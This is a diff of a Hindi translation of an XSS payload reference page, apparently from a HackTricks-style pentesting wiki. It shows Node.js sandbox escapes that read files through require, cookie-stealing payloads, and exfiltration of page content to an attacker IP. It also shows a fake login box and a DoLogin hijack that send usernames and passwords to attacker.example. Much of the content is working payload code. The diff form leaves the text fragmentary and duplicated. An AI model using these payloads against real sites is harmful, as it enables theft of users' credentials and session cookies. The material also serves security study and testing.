writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) में), तो मनमाने अनविश्वसनीय कोड के निष्पादन का दुरुपयोग करने के लिए "कुछ भी नहीं से" उपयोगी objects उत्पन्न करना संभव है: +यदि untrusted code को निष्पादित करने से पहले **everything is undefined** है (जैसे [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), तो 'कुछ भी नहीं' से उपयोगी ऑब्जेक्ट बनाकर arbitrary untrusted code के निष्पादन का दुरुपयोग करना संभव है: - import() का उपयोग करके ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- `require` तक अप्रत्यक्ष पहुँच +- `require` को अप्रत्यक्ष रूप से एक्सेस करना -[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) के अनुसार, modules को Node.js एक फ़ंक्शन के भीतर लपेटता है, इस तरह: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js द्वारा मॉड्यूल्स को एक फ़ंक्शन के भीतर रैप किया जाता है, जैसे: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -इसलिए, अगर उस module से हम **call another function** कर सकते हैं, तो उस function से `arguments.callee.caller.arguments[1]` का उपयोग करके **`require`** को एक्सेस करना संभव है: +इसलिए, यदि उस मॉड्यूल से हम **किसी अन्य फ़ंक्शन को कॉल** कर सकें, तो उस फ़ंक्शन से `arguments.callee.caller.arguments[1]` का उपयोग करके **`require`** तक पहुँच संभव है: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1052,7 +1062,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -पिछले उदाहरण के समान, **use error handlers** के माध्यम से मॉड्यूल के **wrapper** तक पहुँच कर **`require`** फ़ंक्शन प्राप्त करना संभव है: +पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स का उपयोग** करके मॉड्यूल के **wrapper** तक पहुँचकर **`require`** फ़ंक्शन प्राप्त किया जा सकता है: ```javascript try { null.f() @@ -1092,12 +1102,12 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **एक पृष्ठ में अलग-अलग obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **एक ही पृष्ठ पर विभिन्न obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- और अधिक परिष्कृत JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- अधिक परिष्कृत JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1273,7 +1283,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ``` ## XSS सामान्य payloads -### 1 में कई payloads +### एक में कई payloads {{#ref}} @@ -1282,14 +1292,14 @@ steal-info-js.md ### Iframe Trap -उपयोगकर्ता को पेज में iframe से बाहर निकले बिना नेविगेट करवाएं और उसके क्रियाकलाप (फॉर्म में भेजी गई जानकारी सहित) चुरा लें: +उपयोगकर्ता को iframe से बाहर निकले बिना पेज में नेविगेट कराएं और उसकी क्रियाएँ चुरा लें (जिसमें forms में भेजी गई जानकारी भी शामिल है): {{#ref}} ../iframe-traps.md {{#endref}} -### Cookies प्राप्त करना +### Cookies प्राप्त करें ```javascript /?c="+document.cookie> @@ -1312,9 +1322,9 @@ steal-info-js.md ``` > [!TIP] -> आप **JavaScript से cookies को एक्सेस नहीं कर पाएंगे** अगर cookie में HTTPOnly flag सेट है। लेकिन यहाँ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) हैं अगर आप काफी भाग्यशाली हों। +> आप **JavaScript से cookies तक पहुँच नहीं पाएँगे** अगर cookie में HTTPOnly flag सेट है। लेकिन यहाँ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) हैं अगर आप काफी भाग्यशाली हों। -### पृष्ठ सामग्री चुराना +### पृष्ठ सामग्री चुराएँ ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1403,11 +1413,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_कम समय का मतलब है कि port उत्तर दे रहा है_ _ज्यादा समय का मतलब है कि कोई उत्तर नहीं है._ +_छोटा समय प्रतिक्रिया देने वाले port का संकेत है_ _लंबा समय प्रतिक्रिया न होने का संकेत है._ Chrome में प्रतिबंधित ports की सूची [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) देखें। -### क्रेडेंशियल्स माँगने के लिए बॉक्स +### credentials माँगने के लिए बॉक्स ```html ``` @@ -1422,11 +1432,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -जब password field में कोई भी डेटा डाला जाता है, तो username और password attackers server को भेज दिए जाते हैं — यहाँ तक कि अगर client saved password चुनता है और कुछ भी नहीं लिखता है, तब भी credentials ex-filtrated हो जाएंगे। +जब कोई भी डेटा password फ़ील्ड में डाला जाता है, तो username और password attackers server पर भेज दिए जाते हैं; भले ही client एक saved password चुनता हो और कुछ भी न टाइप करे, credentials ex-filtrated हो जाएँगे। ### Hijack form handlers to exfiltrate credentials (const shadowing) -यदि कोई critical handler (e.g., `function DoLogin(){...}`) पेज में बाद में declared है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो उसी नाम का एक `const` पहले define करें ताकि आप handler को preempt और lock कर सकें। बाद में की जाने वाली function declarations किसी `const` नाम को rebind नहीं कर सकतीं, और आपका hook नियंत्रण में रह जाएगा: +यदि कोई critical handler (e.g., `function DoLogin(){...}`) पेज में बाद में घोषित किया गया है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो handler को preempt और lock करने के लिए उसी नाम का एक `const` पहले परिभाषित करें। बाद की function declarations एक `const` नाम को rebind नहीं कर सकतीं, जिससे आपका hook नियंत्रण में रहता है: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1434,21 +1444,21 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -नोट्स +Notes - यह execution order पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए। -- यदि आपका payload `eval(...)` में wrapped है, तो `const/let` bindings globals नहीं बनेंगी। असली global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में बताए गए dynamic ` ``` -### PostMessage संदेशों को चुराना +### PostMessage संदेश चुराना ```html